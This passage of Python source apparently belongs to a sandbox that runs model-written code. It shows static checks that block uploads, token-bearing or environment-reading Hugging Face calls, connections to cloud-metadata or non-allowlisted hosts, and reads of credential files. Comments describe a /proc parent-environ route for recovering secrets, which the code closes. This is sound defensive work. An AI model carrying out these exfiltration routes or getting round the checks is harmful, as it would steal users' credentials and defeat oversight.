if not h:
|
|
return False
|
|
if h in _TRUSTED_PUBLIC_HOST_LITERALS:
|
|
return True
|
|
return any(h.endswith(s) for s in _TRUSTED_PUBLIC_HOST_SUFFIXES)
|
|
|
|
def _call_is_upload_shape(node: ast.Call, fq: str) -> bool:
|
|
"""True for statically obvious upload shapes (files=, data=open(), bytes literal)."""
|
|
if fq in _UPLOAD_HF_FQ:
|
|
return True
|
|
if fq not in _UPLOAD_HTTP_METHODS:
|
|
return False
|
|
for kw in node.keywords or []:
|
|
if kw.arg == "files":
|
|
return True
|
|
if kw.arg == "data":
|
|
v = kw.value
|
|
if isinstance(v, ast.Call) and isinstance(v.func, ast.Name) and v.func.id == "open":
|
|
return True
|
|
if isinstance(v, ast.Constant) and isinstance(v.value, (bytes, bytearray)):
|
|
return True
|
|
return False
|
|
|
|
# Bare method-name fallback (`x.upload_file(...)`) is fuzzy, so it fires only
|
|
# when huggingface_hub/hf_api is imported; else paramiko.upload_file,
|
|
# boto3.create_commit, etc. would false-positive. Pre-scan for the imports.
|
|
_HF_IMPORT_MODULES = (
|
|
"huggingface_hub",
|
|
"hf_api",
|
|
"huggingface_hub.hf_api",
|
|
)
|
|
|
|
def _module_has_hf_import(tree: ast.AST) -> bool:
|
|
for n in ast.walk(tree):
|
|
if isinstance(n, ast.Import):
|
|
for alias in n.names:
|
|
if alias.name.split(".", 1)[0] in _HF_IMPORT_MODULES:
|
|
return True
|
|
elif isinstance(n, ast.ImportFrom):
|
|
root = (n.module or "").split(".", 1)[0]
|
|
if root in _HF_IMPORT_MODULES:
|
|
return True
|
|
elif isinstance(n, ast.Call) and n.args:
|
|
# __import__('huggingface_hub'), importlib.import_module(...),
|
|
# and bare import_module(...) (via `from importlib import ...`).
|
|
arg0 = n.args[0]
|
|
if not (isinstance(arg0, ast.Constant) and isinstance(arg0.value, str)):
|
|
continue
|
|
if arg0.value.split(".", 1)[0] not in _HF_IMPORT_MODULES:
|
|
continue
|
|
func = n.func
|
|
if isinstance(func, ast.Name) and func.id in {
|
|
"__import__",
|
|
"import_module",
|
|
}:
|
|
return True
|
|
if isinstance(func, ast.Attribute) and func.attr == "import_module":
|
|
return True
|
|
return False
|
|
|
|
_hf_in_scope = _module_has_hf_import(tree)
|
|
|
|
def _method_call_hf_upload_name(node: ast.Call) -> str | None:
|
|
"""Return the HF upload method name (`upload_file`, ...) or None. Covers
|
|
the Attribute and bare-Name forms; the bare-name branch fires only when
|
|
an HF import is in scope so paramiko/boto3 don't false-positive."""
|
|
if not _hf_in_scope:
|
|
return None
|
|
f = node.func
|
|
if isinstance(f, ast.Attribute) and f.attr in _UPLOAD_HF_METHODS:
|
|
return f.attr
|
|
if isinstance(f, ast.Name) and f.id in _UPLOAD_HF_METHODS:
|
|
return f.id
|
|
return None
|
|
|
|
# Kwargs that ship a credential over the wire. The sandbox env strips
|
|
# credentials up front, so any value here is hard-coded or lifted from parent.
|
|
_HF_SENSITIVE_KWARGS = frozenset(
|
|
{
|
|
"token",
|
|
"hf_token",
|
|
"api_token",
|
|
"api_key",
|
|
"auth_token",
|
|
"access_token",
|
|
"password",
|
|
"secret",
|
|
}
|
|
)
|
|
|
|
def _is_os_environ(node: ast.AST) -> bool:
|
|
return (
|
|
isinstance(node, ast.Attribute)
|
|
and node.attr == "environ"
|
|
and isinstance(node.value, ast.Name)
|
|
and node.value.id == "os"
|
|
)
|
|
|
|
def _reads_env_or_secret(node: ast.AST | None) -> bool:
|
|
"""True if any node in the subtree resolves to an env/process read.
|
|
|
|
Walks the whole subtree (not just the root) to catch wrappers like
|
|
`str(os.environ)`. Covers os.environ[/.get]/os.getenv, bare getenv, and
|
|
subprocess.{run,check_output,...} that could lift parent env via printenv.
|
|
"""
|
|
if node is None:
|
|
return False
|
|
for sub in ast.walk(node):
|
|
if _is_os_environ(sub):
|
|
return True
|
|
if isinstance(sub, ast.Call):
|
|
f = sub.func
|
|
if isinstance(f, ast.Attribute):
|
|
if (
|
|
f.attr in {"getenv", "getenvb"}
|
|
and isinstance(f.value, ast.Name)
|
|
and f.value.id == "os"
|
|
):
|
|
return True
|
|
if (
|
|
f.attr
|
|
in {
|
|
"check_output",
|
|
"run",
|
|
"Popen",
|
|
"getoutput",
|
|
"getstatusoutput",
|
|
}
|
|
and isinstance(f.value, ast.Name)
|
|
and f.value.id in {"subprocess", "commands"}
|
|
):
|
|
return True
|
|
if isinstance(f, ast.Name) and f.id in {"getenv", "getenvb"}:
|
|
return True
|
|
return False
|
|
|
|
def _is_safe_relative_path(path: str) -> bool:
|
|
"""Relative path with no leading `/`, `~`, drive letter, or `..` segments."""
|
|
if not isinstance(path, str) or not path:
|
|
return False
|
|
if path[0] in ("/", "\\", "~"):
|
|
return False
|
|
if len(path) >= 2 and path[1] == ":":
|
|
return False
|
|
return ".." not in path.replace("\\", "/").split("/")
|
|
|
|
def _path_arg_is_sandbox_local(node: ast.AST | None) -> bool:
|
|
"""Whether the path argument resolves to a sandbox-local literal."""
|
|
if node is None:
|
|
return False
|
|
if isinstance(node, ast.Constant) and isinstance(node.value, (bytes, bytearray)):
|
|
return True # inline bytes, no file access
|
|
if isinstance(node, ast.Constant) and isinstance(node.value, str):
|
|
return _is_safe_relative_path(node.value)
|
|
if isinstance(node, ast.Call):
|
|
f = node.func
|
|
is_open = (isinstance(f, ast.Name) and f.id == "open") or (
|
|
isinstance(f, ast.Attribute) and f.attr == "open"
|
|
)
|
|
if is_open and node.args:
|
|
a0 = node.args[0]
|
|
return (
|
|
isinstance(a0, ast.Constant)
|
|
and isinstance(a0.value, str)
|
|
and _is_safe_relative_path(a0.value)
|
|
)
|
|
return False
|
|
|
|
def _hf_upload_violation(node: ast.Call, method_name: str) -> str | None:
|
|
"""Inspect an HF upload call; return a violation reason or None.
|
|
|
|
Policy: HF uploads are allowed only when (a) no sensitive kwarg is set,
|
|
(b) no positional / keyword value reads `os.environ` or related env
|
|
readers, and (c) the path arg is a sandbox-local literal: a relative
|
|
string with no `..`, an `open(<literal>)`, or inline bytes. Dynamic /
|
|
variable paths are rejected since safety can't be proven statically and
|
|
a wrong-allow means credential exfiltration.
|
|
"""
|
|
for kw in node.keywords or []:
|
|
if kw.arg in _HF_SENSITIVE_KWARGS:
|
|
return (
|
|
f"HF upload {kw.arg}= cannot be set from sandboxed code; "
|
|
"uploads run with the sandbox identity only"
|
|
)
|
|
all_values = list(node.args or []) + [kw.value for kw in (node.keywords or [])]
|
|
for v in all_values:
|
|
if _reads_env_or_secret(v):
|
|
return (
|
|
"HF upload cannot include os.environ / os.getenv / subprocess "
|
|
"env reads; secrets and tokens must not be exfiltrated"
|
|
)
|
|
if method_name == "create_commit":
|
|
for kw in node.keywords or []:
|
|
if kw.arg == "operations" and isinstance(kw.value, ast.List):
|
|
for elt in kw.value.elts:
|
|
if isinstance(elt, ast.Call):
|
|
inner = _hf_upload_violation(elt, "upload_file")
|
|
if inner:
|
|
return inner
|
|
return None
|
|
path_node: ast.AST | None = node.args[0] if node.args else None
|
|
for kw in node.keywords or []:
|
|
if kw.arg in ("path_or_fileobj", "folder_path"):
|
|
path_node = kw.value
|
|
break
|
|
if not _path_arg_is_sandbox_local(path_node):
|
|
return (
|
|
"HF upload path must be a sandbox-local relative-path literal "
|
|
"(no absolute paths, no '..' segments, no dynamic expressions)"
|
|
)
|
|
return None
|
|
|
|
class NetworkAndIoVisitor(ast.NodeVisitor):
|
|
def visit_Call(self, node):
|
|
parts: list[str] = []
|
|
cur = node.func
|
|
while isinstance(cur, ast.Attribute):
|
|
parts.insert(0, cur.attr)
|
|
cur = cur.value
|
|
if isinstance(cur, ast.Name):
|
|
parts.insert(0, cur.id)
|
|
fq = ".".join(parts) if parts else ""
|
|
|
|
hf_upload_name = _method_call_hf_upload_name(node)
|
|
if hf_upload_name is not None:
|
|
violation = _hf_upload_violation(node, hf_upload_name)
|
|
if violation is not None:
|
|
network_calls.append(
|
|
{
|
|
"type": "upload_blocked",
|
|
"line": getattr(node, "lineno", -1),
|
|
"description": f"Blocked: {violation}",
|
|
}
|
|
)
|
|
|
|
# Direct sock.connect((host, port)) bypasses the FQ-prefix branch.
|
|
if isinstance(node.func, ast.Attribute) and node.func.attr == "connect" and node.args:
|
|
a0 = node.args[0]
|
|
host_lit = None
|
|
if isinstance(a0, ast.Tuple) and a0.elts:
|
|
e0 = a0.elts[0]
|
|
if isinstance(e0, ast.Constant) and isinstance(e0.value, str):
|
|
host_lit = e0.value
|
|
elif isinstance(a0, ast.Constant) and isinstance(a0.value, str):
|
|
host_lit = a0.value
|
|
if host_lit:
|
|
if _is_metadata_host(host_lit):
|
|
network_calls.append(
|
|
{
|
|
"type": "metadata_host_blocked",
|
|
"line": getattr(node, "lineno", -1),
|
|
"description": "Blocked: cloud-metadata host",
|
|
}
|
|
)
|
|
elif not _is_trusted_host(host_lit):
|
|
network_calls.append(
|
|
{
|
|
"type": "untrusted_host_blocked",
|
|
"line": getattr(node, "lineno", -1),
|
|
"description": (
|
|
"Blocked: host not in sandbox allowlist; "
|
|
"use an allowed informational source"
|
|
),
|
|
}
|
|
)
|
|
|
|
if fq and any(fq.startswith(p) for p in _NETWORK_FQ_PREFIXES):
|
|
# 1) Upload-shape check (host-independent).
|
|
if _call_is_upload_shape(node, fq):
|
|
network_calls.append(
|
|
{
|
|
"type": "upload_blocked",
|
|
"line": getattr(node, "lineno", -1),
|
|
"description": ("Blocked: file upload disallowed in sandbox"),
|
|
}
|
|
)
|
|
|
|
# 2) Extract literal host (URL string or (host, port) tuple).
|
|
host_arg = None
|
|
url_arg = None
|
|
if node.args:
|
|
a0 = node.args[0]
|
|
if isinstance(a0, ast.Constant) and isinstance(a0.value, str):
|
|
url_arg = a0.value
|
|
elif isinstance(a0, ast.Tuple) and a0.elts:
|
|
e0 = a0.elts[0]
|
|
if isinstance(e0, ast.Constant) and isinstance(e0.value, str):
|
|
host_arg = e0.value
|
|
if url_arg and host_arg is None:
|
|
m = re.match(r"^\w+://([^/?#]+)", url_arg)
|
|
if m:
|
|
host_arg = m.group(1)
|
|
|
|
if host_arg:
|
|
if _is_metadata_host(host_arg):
|
|
network_calls.append(
|
|
{
|
|
"type": "metadata_host_blocked",
|
|
"line": getattr(node, "lineno", -1),
|
|
"description": "Blocked: cloud-metadata host",
|
|
}
|
|
)
|
|
elif not _is_trusted_host(host_arg):
|
|
network_calls.append(
|
|
{
|
|
"type": "untrusted_host_blocked",
|
|
"line": getattr(node, "lineno", -1),
|
|
"description": (
|
|
"Blocked: host not in sandbox allowlist; "
|
|
"use an allowed informational source"
|
|
),
|
|
}
|
|
)
|
|
|
|
is_open_call = (
|
|
(isinstance(node.func, ast.Name) and node.func.id == "open")
|
|
or fq in ("io.open", "pathlib.Path.open")
|
|
or fq.endswith(".open")
|
|
)
|
|
if is_open_call and node.args:
|
|
a0 = node.args[0]
|
|
path_lit = None
|
|
if isinstance(a0, ast.Constant) and isinstance(a0.value, str):
|
|
path_lit = a0.value
|
|
if path_lit:
|
|
flagged = False
|
|
if any(path_lit.startswith(p) for p in _SENSITIVE_FILE_PREFIXES):
|
|
flagged = True
|
|
elif _SENSITIVE_FILE_RE.match(path_lit):
|
|
flagged = True
|
|
if flagged:
|
|
sensitive_file_reads.append(
|
|
{
|
|
"type": "sensitive_file_read",
|
|
"line": getattr(node, "lineno", -1),
|
|
"description": (
|
|
f"open({path_lit!r}) targets a host identity / "
|
|
"credential file; sandboxed code may not read it"
|
|
),
|
|
}
|
|
)
|
|
self.generic_visit(node)
|
|
|
|
NetworkAndIoVisitor().visit(tree)
|
|
|
|
is_safe = (
|
|
len(signal_tampering) == 0
|
|
and len(exception_catching) == 0
|
|
and len(shell_escapes) == 0
|
|
and len(network_calls) == 0
|
|
and len(sensitive_file_reads) == 0
|
|
)
|
|
return is_safe, {
|
|
"signal_tampering": signal_tampering,
|
|
"exception_catching": exception_catching,
|
|
"shell_escapes": shell_escapes,
|
|
"network_calls": network_calls,
|
|
"sensitive_file_reads": sensitive_file_reads,
|
|
"warnings": warnings,
|
|
}
|
|
|
|
|
|
def _check_code_safety(code: str) -> str | None:
|
|
"""Validate code safety via static analysis.
|
|
|
|
Returns an error message string if the code is unsafe, or None if OK.
|
|
"""
|
|
safe, info = _check_signal_escape_patterns(code)
|
|
if not safe:
|
|
# Let SyntaxError from ast.parse through so the subprocess produces a
|
|
# normal Python traceback instead of a misleading "unsafe code" message.
|
|
if info.get("error"):
|
|
return None
|
|
|
|
reasons = [item.get("description", "") for item in info.get("signal_tampering", [])]
|
|
shell_reasons = [item.get("description", "") for item in info.get("shell_escapes", [])]
|
|
exception_reasons = [
|
|
item.get("description", "") for item in info.get("exception_catching", [])
|
|
]
|
|
network_reasons = [item.get("description", "") for item in info.get("network_calls", [])]
|
|
file_reasons = [
|
|
item.get("description", "") for item in info.get("sensitive_file_reads", [])
|
|
]
|
|
all_reasons = [
|
|
r
|
|
for r in reasons + shell_reasons + exception_reasons + network_reasons + file_reasons
|
|
if r
|
|
]
|
|
if all_reasons:
|
|
return (
|
|
f"Error: unsafe code detected ({'; '.join(all_reasons)}). "
|
|
f"Please remove unsafe patterns from your code."
|
|
)
|
|
|
|
return None
|
|
|
|
|
|
def _capture_process_group(proc):
|
|
"""Return the setsid process-group id, or ``None`` when unavailable.
|
|
|
|
Captured right after ``Popen`` so a later ``poll()`` / ``wait()`` that reaps
|
|
the leader cannot make ``os.getpgid(proc.pid)`` fail first. POSIX-only:
|
|
Windows has no process groups (and no ``os.getpgid``), so return ``None``
|
|
there and let the single-pid ``proc.kill()`` fallback handle cleanup.
|
|
"""
|
|
if os.name != "posix" or not hasattr(os, "getpgid"):
|
|
return None
|
|
try:
|
|
return os.getpgid(proc.pid)
|
|
except (AttributeError, ProcessLookupError, PermissionError, OSError):
|
|
return None
|
|
|
|
|
|
def _kill_process_tree(proc) -> None:
|
|
"""SIGKILL the setsid process group; fall back to single-pid kill."""
|
|
if proc.poll() is not None:
|
|
return
|
|
pgid = None
|
|
if hasattr(os, "getpgid"):
|
|
try:
|
|
pgid = os.getpgid(proc.pid)
|
|
except (ProcessLookupError, PermissionError, OSError):
|
|
pgid = None
|
|
if pgid is not None and hasattr(os, "killpg"):
|
|
try:
|
|
os.killpg(pgid, signal.SIGKILL)
|
|
return
|
|
except (ProcessLookupError, PermissionError, OSError):
|
|
pass
|
|
try:
|
|
proc.kill()
|
|
except (ProcessLookupError, PermissionError):
|
|
pass
|
|
|
|
|
|
def _killpg_captured(pgid) -> None:
|
|
"""SIGKILL a process group captured before its leader was waited on.
|
|
|
|
Once ``proc`` exits, ``os.getpgid(proc.pid)`` fails and ``_kill_process_tree``
|
|
short-circuits, so a stdout-holding grandchild that outlived the parent could
|
|
not otherwise be signaled. The pre-captured setsid group id still targets the
|
|
whole tree. No-op with no ``os.killpg`` (Windows) or nothing captured.
|
|
"""
|
|
if pgid is None or not hasattr(os, "killpg"):
|
|
return
|
|
try:
|
|
os.killpg(pgid, signal.SIGKILL)
|
|
except (ProcessLookupError, PermissionError, OSError):
|
|
pass
|
|
|
|
|
|
def _cancel_watcher(
|
|
proc,
|
|
cancel_event,
|
|
poll_interval = 0.2,
|
|
pgid = None,
|
|
):
|
|
"""Daemon thread that kills a process when cancel_event is set.
|
|
|
|
``pgid`` is the group id captured right after spawn; killing it directly
|
|
reaps a stdout-holding grandchild even when the watcher's own ``poll()``
|
|
already reaped the leader (which makes ``_kill_process_tree`` short-circuit).
|
|
"""
|
|
while proc.poll() is None:
|
|
if cancel_event is not None and cancel_event.is_set():
|
|
_killpg_captured(pgid)
|
|
_kill_process_tree(proc)
|
|
return
|
|
cancel_event.wait(poll_interval) if cancel_event else None
|
|
|
|
|
|
def _truncate(text: str, limit: int = _MAX_OUTPUT_CHARS) -> str:
|
|
# Mode-neutral notice: this result serves both the streaming UI and
|
|
# non-streaming callers and must stay byte-identical with and without an
|
|
# output_callback (a regression-tested invariant), so it can't claim the
|
|
# user saw the full output.
|
|
if len(text) > limit:
|
|
return text[:limit] + (
|
|
f"\n\n... (truncated to {limit} chars for the model; {len(text)} chars "
|
|
"total. The full output is not retained here; any files the code wrote "
|
|
"persist in the working directory.)"
|
|
)
|
|
return text
|
|
|
|
|
|
# ChatGPT code-interpreter path conventions models write out of habit; none
|
|
# exist in the Unsloth sandbox, so a failure on one earns the retry hint.
|
|
_MISSING_PATH_PREFIXES = (
|
|
"/mnt/data",
|
|
"/mnt/outputs",
|
|
"/home/sandbox",
|
|
"/workspace",
|
|
"/tmp/outputs",
|
|
)
|
|
|
|
# Matches the quoted path in a Python OSError str and the bare path in a bash
|
|
# "No such file or directory" error; applied only to the error line.
|
|
_QUOTED_ABS_PATH_RE = re.compile(r"""['"](/[^'"\n]+)['"]""")
|
|
_BASH_ABS_PATH_RE = re.compile(r"(/[^\s:'\"]+):\s*No such file or directory")
|
|
|
|
# The sandbox CWD is a per-thread dir under ~/studio_sandbox; an absolute path
|
|
# under it is a genuine local miss, not a hallucinated out-of-sandbox write.
|
|
_SANDBOX_ROOT = os.path.join(os.path.expanduser("~"), "studio_sandbox")
|
|
|
|
|
|
def _missing_error_lines(output: str) -> list[str]:
|
|
"""The lines that actually name a missing file (a FileNotFoundError message
|
|
or a bash "No such file or directory"). Traceback frame lines such as
|
|
``File "/workspace/proj/script.py"`` are excluded, so an unrelated absolute
|
|
path mentioned elsewhere in the output is never treated as the failing one."""
|
|
return [
|
|
line
|
|
for line in output.splitlines()
|
|
if "No such file or directory" in line or "FileNotFoundError" in line
|
|
]
|
|
|
|
|
|
def _extract_missing_abs_path(output: str) -> str | None:
|
|
"""Pull the absolute path a FileNotFoundError / bash error named, if any."""
|
|
for line in reversed(_missing_error_lines(output)):
|
|
m = _QUOTED_ABS_PATH_RE.search(line)
|
|
if m:
|
|
return m.group(1)
|
|
m = _BASH_ABS_PATH_RE.search(line)
|
|
if m:
|
|
return m.group(1)
|
|
return None
|
|
|
|
|
|
def _is_outside_workdir(abs_path: str, workdir: str | None = None) -> bool:
|
|
"""True when ``abs_path`` is not the working directory or under it.
|
|
|
|
``workdir`` is the executor's actual working directory (defaults to the
|
|
sandbox root). Project-backed sessions run under a root OUTSIDE
|
|
``~/studio_sandbox`` (see ``_get_workdir``), so a legitimate miss inside a
|
|
project must be judged against the real workdir, not a static sandbox root,
|
|
or it is wrongly classed as an external habit path.
|
|
"""
|
|
try:
|
|
root = os.path.realpath(workdir or _SANDBOX_ROOT)
|
|
rp = os.path.realpath(abs_path)
|
|
except (OSError, ValueError):
|
|
return True
|
|
return rp != root and not rp.startswith(root + os.sep)
|
|
|
|
|
|
def _missing_path_hint(output: str, workdir: str | None = None) -> str:
|
|
"""Model-visible healing when an execution fails on an absolute path missing
|
|
in the sandbox (a code-interpreter habit path, or one invented from the CWD).
|
|
Detected on the full pre-truncation output; the hint echoes the failing path
|
|
so the model retries with the right relative name."""
|
|
error_lines = _missing_error_lines(output)
|
|
if not error_lines:
|
|
return ""
|
|
abs_path = _extract_missing_abs_path(output)
|
|
# A convention prefix is an out-of-sandbox signal only when the exact failing
|
|
# path could not be isolated; scoped to the failing-path error line(s) so a
|
|
# prefix mentioned elsewhere doesn't trigger a misleading hint.
|
|
convention = any(prefix in line for line in error_lines for prefix in _MISSING_PATH_PREFIXES)
|
|
if abs_path is not None:
|
|
# Judge the isolated path against the real workdir even when it matches a
|
|
# convention prefix, so a genuine miss inside a project rooted under such
|
|
# a prefix (e.g. /workspace/proj) is not steered out of its subdirectory.
|
|
if not _is_outside_workdir(abs_path, workdir):
|
|
return ""
|
|
elif not convention:
|
|
# Nothing marks this as an out-of-sandbox miss; stay silent.
|
|
return ""
|
|
if abs_path:
|
|
example = f"'{os.path.basename(abs_path)}', not '{abs_path}'"
|
|
else:
|
|
example = "'output.html', not '/mnt/data/output.html'"
|
|
return (
|
|
"\nHint: that absolute path does not exist in this sandbox. The current "
|
|
"working directory is writable and persists for this conversation; retry "
|
|
f"with a relative path (for example {example})."
|
|
)
|
|
|
|
|
|
def _drain_process_output(
|
|
proc,
|
|
timeout,
|
|
output_callback,
|
|
cancel_event = None,
|
|
*,
|
|
pgid = None,
|
|
) -> tuple[str, bool]:
|
|
"""``proc.communicate(timeout=...)`` equivalent that also streams each
|
|
stdout line to ``output_callback`` as it is produced.
|
|
|
|
Returns ``(output, timed_out)``. The joined output is identical to what
|
|
``communicate`` would return: the same TextIOWrapper decodes the stream,
|
|
so encoding, error replacement, and newline translation all match. On
|
|
timeout the process tree is killed (mirroring the non-streaming path).
|
|
With ``timeout=None`` the drain waits for EOF like ``communicate`` would,
|
|
stopping early only when ``cancel_event`` is set.
|
|
"""
|
|
chunks: list[str] = []
|
|
|
|
# Captured before waiting so a stdout-holding grandchild can still be killed
|
|
# after the leader is reaped (getpgid then fails). Callers pass it in from
|
|
# right after Popen; fall back to capturing here for direct callers.
|
|
if pgid is None:
|
|
pgid = _capture_process_group(proc)
|
|
|
|
def _reader() -> None:
|
|
try:
|
|
for line in iter(proc.stdout.readline, ""):
|
|
chunks.append(line)
|
|
if output_callback is not None:
|
|
try:
|
|
output_callback(line)
|
|
except Exception: # noqa: BLE001 - observer must never kill the tool
|
|
logger.debug("tool output_callback raised", exc_info = True)
|
|
except (ValueError, OSError):
|
|
pass # pipe closed during kill
|
|
|
|
reader = threading.Thread(target = _reader, daemon = True)
|
|
reader.start()
|
|
started_at = time.monotonic()
|
|
timed_out = False
|
|
try:
|
|
proc.wait(timeout = timeout)
|
|
except subprocess.TimeoutExpired:
|
|
timed_out = True
|
|
_kill_process_tree(proc)
|
|
# Also kill the pre-captured group in case the leader was reaped in the
|
|
# window before _kill_process_tree sampled its pgid, reaping a
|
|
# stdout-holding grandchild (matches the non-streaming timeout path).
|
|
_killpg_captured(pgid)
|
|
try:
|
|
proc.wait(timeout = 5)
|
|
except subprocess.TimeoutExpired:
|
|
pass
|
|
# A grandchild that inherited stdout can hold the pipe open past the main
|
|
# process's exit.
|
|
if not timed_out:
|
|
if timeout is not None:
|
|
# Wait out the remaining budget like communicate() would, polling
|
|
# cancel_event in slices (the cancel watcher is gone once the leader
|
|
# exits) so a chatty grandchild doesn't keep draining after a Stop.
|
|
# The normal path still reaches EOF on its own with the same bytes.
|
|
deadline = started_at + timeout
|
|
while reader.is_alive():
|
|
remaining = deadline - time.monotonic()
|
|
if remaining <= 0:
|
|
timed_out = True
|
|
_killpg_captured(pgid)
|
|
break
|
|
if cancel_event is not None and cancel_event.is_set():
|
|
_killpg_captured(pgid)
|
|
break
|
|
reader.join(timeout = min(0.5, remaining))
|
|
else:
|
|
# Unlimited timeout: drain until the pipe closes (like
|
|
# communicate(timeout=None)), stopping early only on cancellation.
|
|
while reader.is_alive():
|
|
if cancel_event is not None and cancel_event.is_set():
|
|
_killpg_captured(pgid)
|
|
break
|
|
reader.join(timeout = 0.5)
|
|
reader.join(timeout = 5)
|
|
return "".join(chunks), timed_out
|
|
|
|
|
|
def _python_exec(
|
|
code: str,
|
|
cancel_event = None,
|
|
timeout: int = _EXEC_TIMEOUT,
|
|
session_id: str | None = None,
|
|
disable_sandbox: bool = False,
|
|
output_callback = None,
|
|
) -> str:
|
|
"""Execute Python code in a subprocess sandbox.
|
|
|
|
disable_sandbox (Bypass Permissions): skip the safety analysis and rlimit
|
|
pre-exec, and use the host env minus secrets.
|
|
output_callback: optional callable(str) streamed each stdout line as it is
|
|
produced; the returned result is unchanged.
|
|
"""
|
|
if not code or not code.strip():
|
|
return "No code provided."
|
|
|
|
# Validate imports and code safety (skipped when the sandbox is disabled)
|
|
if not disable_sandbox:
|
|
error = _check_code_safety(code)
|
|
if error:
|
|
return error
|
|
# Stripping the child env is not enough: a same-UID child can read
|
|
# /proc/<getppid()>/environ to recover the unfiltered secrets, so close
|
|
# that read here too, not only in bypass mode. Best-effort: the child env
|
|
# is already scrubbed, so a system where prctl is denied still runs.
|
|
_harden_parent_against_proc_env_leak()
|
|
elif not _harden_parent_against_proc_env_leak():
|
|
# Close the /proc/<parent>/environ secret-recovery path first; if it
|
|
# cannot be applied, fail closed rather than leak the parent environ.
|
|
return (
|
|
"Execution error: could not harden the Unsloth process against "
|
|
"/proc environment reads; refusing bypass execution."
|
|
)
|
|
|
|
tmp_path = None
|
|
workdir = _get_workdir(session_id)
|
|
# Snapshot image mtimes to detect new and overwritten files.
|
|
_before: dict[str, int] = {}
|
|
if os.path.isdir(workdir):
|
|
for _name in os.listdir(workdir):
|
|
if os.path.splitext(_name)[1].lower() in _IMAGE_EXTS:
|
|
_p = os.path.join(workdir, _name)
|
|
if os.path.isfile(_p):
|
|
try:
|
|
_before[_name] = os.stat(_p).st_mtime_ns
|
|
except OSError:
|
|
pass
|
|
try:
|
|
fd, tmp_path = tempfile.mkstemp(suffix = ".py", prefix = "studio_exec_", dir = workdir)
|
|
# utf-8 so non-ASCII in model-written code survives the OS default codec
|
|
# (Windows cp1252 would otherwise raise UnicodeEncodeError).
|
|
with os.fdopen(fd, "w", encoding = "utf-8") as f:
|
|
f.write(code)
|
|
|
|
safe_env = _build_bypass_env(workdir) if disable_sandbox else _build_safe_env(workdir)
|
|
if disable_sandbox:
|
|
# Match the sandboxed Python path without changing bypass shell I/O.
|
|
safe_env = dict(safe_env)
|
|
safe_env["PYTHONIOENCODING"] = "utf-8"
|
|
popen_kwargs = dict(
|
|
stdout = subprocess.PIPE,
|
|
stderr = subprocess.STDOUT,
|
|
text = True,
|
|
# Decode child output as utf-8 (it emits utf-8 via PYTHONIOENCODING);
|
|
# replace so non-ASCII output never crashes the read on Windows.
|
|
encoding = "utf-8",
|
|
errors = "replace",
|
|
cwd = workdir,
|
|
env = safe_env,
|
|
)
|
|
if sys.platform != "win32":
|
|
popen_kwargs["preexec_fn"] = _bypass_preexec if disable_sandbox else _sandbox_preexec
|
|
else:
|
|
popen_kwargs["creationflags"] = subprocess.CREATE_NO_WINDOW
|
|
|
|
# -u forces unbuffered child stdout so a bare print() streams live
|
|
# instead of sitting in the pipe's block buffer until exit. Applied
|
|
# unconditionally to stay byte-identical with and without streaming;
|
|
# unlike PYTHONUNBUFFERED=1 it never pollutes the child's os.environ.
|
|
proc = subprocess.Popen([sys.executable, "-u", tmp_path], **popen_kwargs)
|
|
|
|
# Capture the group before any watcher can reap the leader (see
|
|
# _capture_process_group); None on Windows.
|
|
pgid = _capture_process_group(proc)
|
|
|
|
if cancel_event is not None:
|
|
watcher = threading.Thread(
|
|
target = _cancel_watcher,
|
|
args = (proc, cancel_event, 0.2, pgid),
|
|
daemon = True,
|
|
)
|
|
watcher.start()
|
|
|
|
# Always drain via _drain_process_output (output_callback may be None):
|
|
# it kills the captured group on cancellation, reaping a grandchild that
|
|
# outlived the leader, and returns bytes identical to communicate() so
|
|
# the streaming vs non-streaming result stays byte-identical.
|
|
output, timed_out = _drain_process_output(
|
|
proc, timeout, output_callback, cancel_event, pgid = pgid
|
|
)
|
|
if timed_out:
|
|
return _truncate(f"Execution timed out after {timeout} seconds.")
|
|
|
|
if cancel_event is not None and cancel_event.is_set():
|
|
return "Execution cancelled."
|
|
|
|
result = output or ""
|
|
if proc.returncode != 0:
|
|
result = f"Exit code {proc.returncode}:\n{result}"
|
|
# Detect the missing-path pattern on the full output (truncation could
|
|
# hide the trailing traceback); append the hint after truncation. External
|
|
# paths are judged against the real workdir (project sessions live outside
|
|
# the default sandbox root).
|
|
hint = _missing_path_hint(result, workdir)
|
|
result = _truncate(result) if result.strip() else "(no output)"
|
|
result += hint
|
|
|
|
# Detect new/overwritten images and append sentinel for the frontend
|
|
if session_id and os.path.isdir(workdir):
|
|
new_images = []
|
|
for _name in os.listdir(workdir):
|
|
if os.path.splitext(_name)[1].lower() not in _IMAGE_EXTS:
|
|
continue
|
|
_p = os.path.join(workdir, _name)
|
|
if not os.path.isfile(_p):
|
|
continue
|
|
try:
|
|
_mtime = os.stat(_p).st_mtime_ns
|
|
except OSError:
|
|
continue
|
|
if _name not in _before or _mtime != _before[_name]:
|
|
new_images.append(_name)
|
|
if new_images:
|
|
import json as _json
|
|
result += f"\n__IMAGES__:{_json.dumps(sorted(new_images))}"
|
|
|
|
return result
|
|
|
|
except Exception as e:
|
|
return f"Execution error: {e}"
|
|
finally:
|
|
if tmp_path and os.path.exists(tmp_path):
|
|
try:
|
|
os.unlink(tmp_path)
|
|
except OSError:
|
|
pass
|
|
|
|
|
|
def _bash_exec(
|
|
command: str,
|
|
cancel_event = None,
|
|
timeout: int = _EXEC_TIMEOUT,
|
|
session_id: str | None = None,
|
|
disable_sandbox: bool = False,
|
|
output_callback = None,
|
|
) -> str:
|
|
"""Execute a bash command in a subprocess sandbox.
|
|
|
|
disable_sandbox (Bypass Permissions): skip the command blocklist and rlimit
|
|
pre-exec, and use the host env minus secrets.
|
|
output_callback: optional callable(str) streamed each stdout line as it is
|
|
produced; the returned result is unchanged.
|
|
"""
|
|
if not command or not command.strip():
|
|
return "No command provided."
|
|
|
|
# Block dangerous commands (skipped when the sandbox is disabled)
|
|
if not disable_sandbox:
|
|
blocked = _find_blocked_commands(command)
|
|
if blocked:
|
|
return f"Blocked command(s) for safety: {', '.join(sorted(blocked))}"
|
|
# Stripping the child env is not enough: a same-UID child can read
|
|
# /proc/<getppid()>/environ to recover the unfiltered secrets, so close
|
|
# that read here too, not only in bypass mode. Best-effort: the child env
|
|
# is already scrubbed, so a system where prctl is denied still runs.
|
|
_harden_parent_against_proc_env_leak()
|
|
elif not _harden_parent_against_proc_env_leak():
|
|
# Close the /proc/<parent>/environ secret-recovery path first; if it
|
|
# cannot be applied, fail closed rather than leak the parent environ.
|
|
return (
|
|
"Execution error: could not harden the Unsloth process against "
|
|
"/proc environment reads; refusing bypass execution."
|
|
)
|
|
|
|
try:
|
|
